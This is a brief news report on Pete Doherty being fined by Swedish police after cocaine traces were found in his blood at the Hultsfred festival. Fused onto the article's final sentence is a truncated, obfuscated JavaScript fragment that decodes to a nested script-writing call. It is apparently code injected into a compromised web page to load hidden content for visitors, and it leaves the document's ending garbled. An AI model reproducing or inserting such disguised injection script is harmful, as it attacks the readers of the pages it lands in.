Swedish police fined Babyshambles frontman Pete Doherty after traces of cocaine were found in his blood following a concert at the Hultsfred music festival, officials said.
Police detained the singer after the concert because "he showed signs of being under the influence of narcotics", said Ulf Karlsson, a police spokesman in the city of Kalmar on Sweden's south-eastern coast.
Tests showed traces of cocaine and benzodiazepine, a minor tranquilliser that Doherty had a prescription for, Karlsson said.
Doherty was fined 14,000 kronor (£1,030) and was released, Karlsson said.
He was not in possession of any illegal drugs, so he will not face other charges, the official said.
Traces of cocaine were also found in the blood of another band member, who was also fined and released, Karlsson said.
Babyshambles was one of the main draws at the annual Hultsfred festival, one of the biggest in Sweden.
Earlier this month, Doherty had checked himself into a detox clinic in Portugal following several arrests for drug possession, his lawyer Sean Curran said.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22